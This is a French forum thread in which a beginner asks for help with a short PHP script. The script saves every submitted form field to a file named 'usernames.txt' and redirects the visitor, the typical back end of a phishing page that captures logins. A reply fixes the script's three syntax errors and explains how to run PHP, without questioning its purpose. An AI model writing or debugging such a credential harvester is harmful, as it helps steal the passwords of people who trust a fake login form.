Format PHP
tarikdu59
Messages postés
84
Date d'inscription
Statut
Membre
Dernière intervention
-
miramaze Messages postés 1429 Date d'inscription Statut Contributeur Dernière intervention -
miramaze Messages postés 1429 Date d'inscription Statut Contributeur Dernière intervention -
Bonsoir est-ce que quelqun pourrais me dire si je n'ai pas fait de faute en formant sa...
<?php
header ('Location:')
$handle = fopen("usernames.txt" . "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n") ;
}
fwrite($handle, "\r\n");
fclose($shandle);
exit;
?>
Merci de me repondre
Cordialement Trk...
<?php
header ('Location:')
$handle = fopen("usernames.txt" . "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n") ;
}
fwrite($handle, "\r\n");
fclose($shandle);
exit;
?>
Merci de me repondre
Cordialement Trk...
3 réponses
-
Et pourquoi tu n'exécutes pas l'interpréteur de php ? Il va te dire les fautes.
Ta redirection en haut doit pas te renvoyer quelque part ?
Là il manque un point virguleheader ('Location:')
Ici$handle = fopen("usernames.txt" . "a");t'as mis un point après usernames.txt au lieu d'une virgule.
Ici,fclose($shandle);
t'as rajouté un s à ta variable handle.
-
Pour exécuter l'interpréteur php tu fais php ton_fichier.php
-
Je te remercie Mille fois oui j'y avais pensé mais je ne sais pas comment faire ^^'
On Va dire que je débute
Merci encore pour ta réponse